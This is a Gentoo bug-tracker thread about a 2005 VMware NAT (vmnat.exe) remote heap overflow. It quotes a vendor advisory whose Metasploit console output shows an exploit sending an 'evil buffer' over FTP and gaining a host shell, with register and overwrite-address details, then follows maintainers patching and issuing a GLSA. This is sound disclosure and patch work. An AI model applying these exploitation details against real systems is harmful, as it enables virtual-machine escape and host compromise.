Bugzilla Bug 116238

Not sure wether this affects the Linux version, but an updated download is
available.

-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- 
 ACS Security Assessment Advisory - Remote Heap Overflow 

ID: ACSSEC-2005-11-25 - 0x1 

Class: Remote Heap Overflow 
 Package: VMWare Workstation 5.5.0 <= build-18007 
             VMWare GSX Server Variants 
             VMWare Ace Variants 
               VMWare Player Variants 
 Exempt: VMWare ESX Server Variants 
 Build: Windows NT/2k/XP/2k3 
 Notified: Dec 01, 2005 
 Released: Dec 21, 2005 

Remote: Yes 
 Severity: High 

Credit: Tim Shelton <security-advisoriesacs-inc.com> 
 -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- 

-=[ Background 

"VMware Workstation is powerful desktop virtualization software for software 
 developers/testers and enterprise IT professionals that runs multiple 
 operating systems simultaneously on a single PC. Users can run Windows, 
 Linux, NetWare, or Solaris x86 in fully networked, portable virtual machines 
 - no rebooting or hard drive partitioning required. VMware Workstation 
 delivers excellent performance and advanced features such as memory 
 optimization and the ability to manage multi-tier configurations and 
 multiple snapshots. 

With millions of customers and dozens of major product awards over the last 
 six years, VMware Workstation is a proven technology that improves 
 productivity and flexibility. An indispensable tool for software developers 
 and IT professionals worldwide." 

                        -- http://www.vmware.com/products/ws/ 

-=[ Technical Description 

A vulnerability was identified in VMware Workstation (And others) vmnat.exe, 
 which could be exploited by remote attackers to execute arbitrary commands. 
 This vulnerability allows the escape from a VMware Virtual Machine into 
 userland space and compromising the host. 

'Vmnat' is unable to process specially crafted 'EPRT' and 'PORT' FTP 
 Requests. 

-=[ Proof of Concept: 
 -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- 

msf > use vmware_vmnat 
 msf vmware_vmnat(win32_bind) > exploit 
 [*] Starting Bind Handler. 
 [*] VMWare vmnat Remote Heap Exploit by Tim Shelton <securityacs-inc.com> 
 [*] 220 #### FTP Server Ready. 
 [*] Login as anonymous/login 
 [*] Sending evil buffer.... 
 [*] No response from FTP server 
 [*] Exiting Bind Handler. 
 vmnat.exe: Access violation when writing to [2F5C2F5C] <- Controllable 
 Registers 

-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- 

-=[ Breakdown 

Control over registers ECX, EDI, EBX will allow you overwrite an available 
 Heap Header PLINK and FLINK. 

EDX points to your buffer on overwrite. 

Overwrite located at ntdll.0x7C926A36 Windows XP/SP2 build 2600 

-=[ Functioning Overflow of Concept: 
 -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- 

msf > use vmware_vmnat_0day 
 msf vmware_vmnat_0day(win32_bind) > exploit 
 [*] Starting Bind Handler. 
 [*] VMWare vmnat Remote Heap Exploit 0day by Tim Shelton 
 <securityacs-inc.com> 
 [*] 220 #### FTP Server Ready. 
 [*] Login as anonymous/login 
 [*] Sending evil buffer.... 
 [*] Got connection from 192.168.79.130:34941 <-> 192.168.79.2:4444 

Microsoft Windows XP [Version 5.1.2600] 
 (C) Copyright 1985-2001 Microsoft Corp. 

C:\Program Files\VMware Workstation> 

-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- 

-=[ Credits 

Vulnerability originally reported and exploited by Tim Shelton 

-=[ ChangeLog 

2005-11-25 : Original Advisory 
 2005-12-01 : Notified Vendor 
 2005-12-20 : Vendor released patch, disclosing full information.

Upstream response:

http://www.securityfocus.com/archive/1/420017/30/0/threaded

And sorry for accidentially filing this as restricted yesterday.

*** Bug 116292 has been marked as a duplicate of this bug. ***

OK.  I am /away until after the first of the year (and the only active person
on the VMware team) starting today.  Upgrading to a non-vulnerable version for
users of 3.2.1 and 4.5 costs money, so that isn't a viable option.  The
"default" is bridged networking, but that can be simply changed.  Getting 5.5.1
marked stable on x86/amd64 will solve the issue for anyone running 5.x, but it
won't help users running 3.x or 4.x...  If the vmware-any-any-update96 patch
resolves this for those users, then they're already fixed in stable.

The 96 patch is dated Nov 16 and the vulnerability was reported to VMWare on
Dec 1, so it's probably not fixed in it.

I would call for the (fixed) 5.5.1.19175 to become stable and publish a GLSA
with the workaround available to other versions users.

If/when a patch or new version is available for the other versions we'll update
the GLSA accordingly.

According to bigbabyjesusfoo and r2d2 in #gentoo-security there's a new 4.5.3
build 19414 dated 12/27/05 that's also a fix for this so it'll need updating
also. It's unclear if 3.x is affected, if it it could do with masking.

<r2d2> 5.0 remains vulnerable and 5.5.1 is the security fixed version of 5.5.0

AFAIK 5.5 is key-compatible with 5.0 so we probably want to urge people to
upgrade if a new build for 5.0 doesn't come out.

Yes, we could target 4.5.3 and 5.5.1 for stable, and mask all affected
versions, then release a GLSA about this. We can update that GLSA if/when a 3.x
version gets released, otherwise it will just show as affected.

I am currently working on new ebuilds for 4.5.3 and will stabilize 5.5.1 with
it.

Ebuilds are in CVS and marked stable.  Can someone verify 3.2.1, as I only have
an AMD64 box available and this version doesn't run on AMD64.

Calling in x86 to test as per above comment.

Not sure what to test... there is a 3.2.1 fixed version somewhere ? Or do you
want  someone to check that 3.2.1 is affected ?

That version has been stable for a couple weeks now.  No idea how to test if
its vulnerable, and if it is, upstream isn't going to be pushing out any new
versions of it anyway (I don't think).

Chris: is there any work left to do, like something about the 3.x version
(implied by your comment #9) ? GLSA is ready to go if you confirm it's OK. 

The latest version of vmware-player in portage is also fixed (as of today) but
was never marked stable.  As for 3.x, there does not appear to be a new version
and I cannot verify that 3.x is vulnerable.  I have considered adding a masking
simply stating that there are some known issues with the VMware NAT code and
that 3.x is potentially vulnerable, but really would like some guidance or
advice on what you guys think.

I'm pretty sure 3.x is affected. 

From VMware inc. :
"The vulnerability in the NAT component affects VMware Workstation 5.5, VMware
GSX Server 3.2, VMware ACE 1.0.1, VMware Player 1.0, and previous releases of
these products"

Also from my own knowledge of vmware-nat, if there was an error in there, it's
probably been there from the beginning.

So masking with a message is OK.

3.x is now masked...

GLSA 200601-04

I believe that this was fixed for the 3.x branch with vmware-any-any-update97. 
On March 20th, a new revision was added for 3.x that brought us to
vmware-any-any-update98.  Since this was the first update based off the VMware
Workstation 5.5.1, it had the security bug already fixed.  Can we possibly
update the GLSA so that ferringb's vulnerability scan will no longer find this
version vulnerable, since it is not.

updated GLSA in cvs